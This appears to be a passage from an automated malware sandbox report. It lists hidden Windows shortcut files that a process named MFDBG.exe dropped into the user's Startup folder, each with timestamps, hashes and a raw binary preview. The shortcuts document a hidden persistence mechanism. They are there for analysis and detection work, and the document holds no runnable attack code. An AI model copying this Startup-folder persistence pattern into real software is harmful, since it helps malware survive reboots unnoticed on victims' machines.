Preview:	L..................F...."...]W%.{.....g.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e942cdb351be4dd2b9c9c7aac6676aff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932918488276036
Encrypted:	false
SSDEEP:	24:8lhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81C0R6rMhpBoUBxdRd1nYyg
MD5:	339E82D45243C1D7731591BA74AECE9F
SHA1:	8215C416516B2C0BEE91A8EEED49646073C249B3
SHA-256:	8FD22297C318382B19B47C6B1A69FCF2DF7518120D17830E8E8A524D53DA5877
SHA-512:	4E7401081E049C86C93911EB334989DA735414CCACFA6847EAC5CA0F8C910ED0341EEEAED4042E65FBC07C464BBFBF81DFC2854B205B6C5BCD5F98916C2BD2A7
Malicious:	false
Preview:	L..................F...."...]W%.{..._.\.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9d800f0607d4b6c8f9ecc231ff1eea0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931740411729209
Encrypted:	false
SSDEEP:	24:8RphBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Rps0R6rMhpBoUBxdRd1nYyg
MD5:	177956119E7B40FA0D13BAAA1B5A42CD
SHA1:	00CB9A805258993EF7F964F5869324B009F554E5
SHA-256:	DDB134AC0CB5C83145F6CB66955A96609F97D8FD386D5D4BBAE016936D078A14
SHA-512:	06F5B93BCAB734E94A92237AB43D8C8E37D60FD99E5E0DB9B89A3CC7AC93BFCB2661FEB44CE51E20CBF70E517BEB4B6B05F1C3F8ADC116CA5820A0D96C11EA64
Malicious:	false
Preview:	L..................F...."...]W%.{.....".{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eac8906e93cc439ebba661a4dff00dfd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939113551118495
Encrypted:	false
SSDEEP:	24:8ghBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yO0R6rMhpBoUBxdRd1nYyg
MD5:	CA020810BB4B62919C2E36E62F9B7FE4
SHA1:	596AD59AA9FC323B4B946AFE8347002E0D363F4B
SHA-256:	709F6B258917652B4885624097CEC8494BA8BE72042CEE2C74B856A012F172BF
SHA-512:	94D36CA878F02A51E3C5500C32698505DC4ECA000B2367197BCC3C1DB5C1F3CB5915CF6DA99AE87206493CBCEC81033055B6776CC5975F2BDCA4022E2BE422AA
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb4669958ef44724896cc3d462a67254.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052347
Encrypted:	false
SSDEEP:	24:8chBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8u+e0R6rMhpBoUBxdRd1nYyg
MD5:	E31E79420E0CA4520B54DF2D6031E8D5
SHA1:	202896AA9422F924C1F8CE1172B5B8BBFFC6BD8A
SHA-256:	3DE87AD88DE36CFB2551AF653FE31E05F4384AF98796154B66B415DBE0D914FB
SHA-512:	D24C2BBF525564C294EFE5F3BD70D21773838E8164560F9E4C907A931E3572C38462D64993E67D561FD26549E4D39C098E07BA965798A15209AE6DECA1F964C9
Malicious:	false
Preview:	L..................F...."...]W%.{...Pi..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ebfe8cade73a4850a370894c531900b9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149758
Encrypted:	false
SSDEEP:	24:8J9hBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xn0R6rMhpBoUBxdRd1nYyg
MD5:	740568DD56BF8C61A7F61F5B3D5BCE90
SHA1:	5D75B75CDB09F02FC178FF91AEDEC1701156972E
SHA-256:	72F25BE765AC184629F8D1D46EA63E389C1E132D09FDBE7D44CEDCE58D6C05FD
SHA-512:	68E4FBAB2A1329239469B4836F63C7E8D806F4CE98D4CD5018941A195DAE7EF319887513CCD7A8D247CFB91E7029643C545CA1C6B3E428B35472940595F989BA
Malicious:	false
Preview:	L..................F...."...]W%.{...._..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ece8984ee16a465d8880fd6e6da94f1b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941415910635751
Encrypted:	false
SSDEEP:	24:8ahBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Qy0R6rMhpBoUBxdRd1nYyg
MD5:	0DE9AEBE69C7277C06AB109C7371BD3A
SHA1:	3BE2BE3AE7B73EA82CDF1D2E2D04200DFC21E7D5
SHA-256:	24D0DF59713F2B5C25B14B46CE9FC0E420FAFB9E0D83B4A1DD2EA04B03BCF7FA
SHA-512:	07DC6E4A5914D67C36FEB73A2498C442A6F50FEF02A096B58E85A7BB4CBC6A5793D580172587D1223C29A4F6B017945F11FA5B8BAD902636C482FBCF419E07CD
Malicious:	false
Preview:	L..................F...."...]W%.{...=...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed0bf28d96ba4e7a90433560f8efc86c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930755236212747
Encrypted:	false
SSDEEP:	24:8SBhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Sxi0R6rMhpBoUBxdRd1nYyg
MD5:	839793F585E0662C49522FB3F97F00A3
SHA1:	8E4ECEFF95E534B771E10198BEB37A90BA422926
SHA-256:	9CF9AF8F10D8071C56BAD7C5C91E4EB82D620720149563238BFC72C1FB8187F1
SHA-512:	119B12E3B2DCE16674BC4D198D7650B3F0788E6201CB60A81E07B596C42634CCBA9AD870A8981B2C5F8F97AB6E10EFF2503C74CE33E9CB83FF1B221B08B5E62E
Malicious:	false
Preview:	L..................F...."...]W%.{....B.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed285fff72364bada87ca04536afc6d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932677869505028
Encrypted:	false
SSDEEP:	24:8YhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8630R6rMhpBoUBxdRd1nYyg
MD5:	CB6CCC71EF78DF9142AC696AB518FBAC
SHA1:	B3C75C99EC7A8D429DADB46E6DB0522B9EAA854A
SHA-256:	CE07BD8CE1AC289A09A3A339818FD5D1AF52C49FE3ED7C15541984334A5DC92E
SHA-512:	F47E35C9B3FD1C06537DFF3537D3CEFCFEAC45C1062323FBA2519C32AA94719647B9E71B953081163D1C92BD2436561959A3772516871D8BBD0F5F472C336F8F
Malicious:	false
Preview:	L..................F...."...]W%.{...T9..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_edbe482667e441758fdc21dea76d1595.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940702108847514
Encrypted:	false
SSDEEP:	24:8EphBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Muf0R6rMhpBoUBxdRd1nYyg
MD5:	273657FE69133C1F52219A71D44DCDD4
SHA1:	A1AA8125EE6AB4724490B89CE1A8C7F7F82D8411
SHA-256:	D8CEF5830DB02894A9782BBF9B4E609DE2D0A624276065392CE1F52C4F1CFE3E
SHA-512:	268B260E76893472A37813A45E852862B5167127B4677FD41F11B21A10578C98A9BDB6CA9746A3E596603EABB16EBD1FC148EAC05850FFB0D048CB4A923964A0
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eddd5c6b3ac2495c908ba32f04a4fa3d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933950722728179
Encrypted:	false
SSDEEP:	24:8vphBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vph0R6rMhpBoUBxdRd1nYyg
MD5:	5AEA2105AA5CFD604D1F1B245455368E
SHA1:	F2D55F6BD5967767C0307380795A6DBDC62C2EBF
SHA-256:	3B092D2DD3A5378FE45D4C50D06FE2FB02D85EAA7E3F5EEACF809460F0FD13A4
SHA-512:	8BDD73D167F05CD55ED58E5D112470433AB72849990E3B0AE7C491894A02C02C56315576C26A947F4E5E103F70FB58E19528D8C1E1B98847A9762D7237493DF9
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee22200383724c299307df580b4ca9e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937226582440013
Encrypted:	false
SSDEEP:	24:8RhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hG0R6rMhpBoUBxdRd1nYyg
MD5:	8F0C81985EFB12D1622E3A8285B7ECAB
SHA1:	B28BD93B8B3C110BF26A3DCB28946C9AFE497F07
SHA-256:	C09B97AD0C4A0B51E74BF7A6F363E4BB93E4BE2C08B9E989BF68548FD0870A74
SHA-512:	5B55F674CDF19DE0282A5AD16D97864970F426A5F749B0D316499AD15ECC65FE160BE89031B2718F279C332D233CA404D0F5679532CAB984D74552C4B825A42A
Malicious:	false
Preview:	L..................F...."...]W%.{.....*.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eeab86af164245c885f55f60d190dbb9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942944842348093
Encrypted:	false
SSDEEP:	24:8FhBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Vb0R6rMhpBoUBxdRd1nYyg
MD5:	89D031BB1E041E7BCDEB5671D48DFBDD
SHA1:	14819A46A331A22573A2F174BDAAD07A870A52C4
SHA-256:	8272316BDC36A066315C2E22E86474F72389A6A4BE7786264805F4A3CFB0FF54
SHA-512:	2077699E7E80830222AB96584D4A2C3D02892A0FD2CE5B45556E2A4319589EC1FC6402BB6695B380A68016F3868FE632B1639B5FA36AAFAA90B7AFC03DED7AE1
Malicious:	false
Preview:	L..................F...."...]W%.{....!].{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....U.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef055db1f58e458d8c27b3179234581e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936045345186431
Encrypted:	false
SSDEEP:	24:8ihBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Is0R6rMhpBoUBxdRd1nYyg
MD5:	28390AAC1E920E344B0140BBEBE2DF58
SHA1:	E4DE4DDAB0E7180BEC2AA9AD055D76538A30C590
SHA-256:	9D428D3EA88B22F9F3A7A87691C4DFE0C1F6BECC633AE7F8A5690E0927553E07
SHA-512:	D0AABA3185070CB14812BE3919303BD0E36F429657E04549F20E9C50DCB8BFE1246380DB87ABA7DCCBC0ED0BD661F37D4B56CCB0FF2087D56BB5392C0EBD5FF7
Malicious:	false
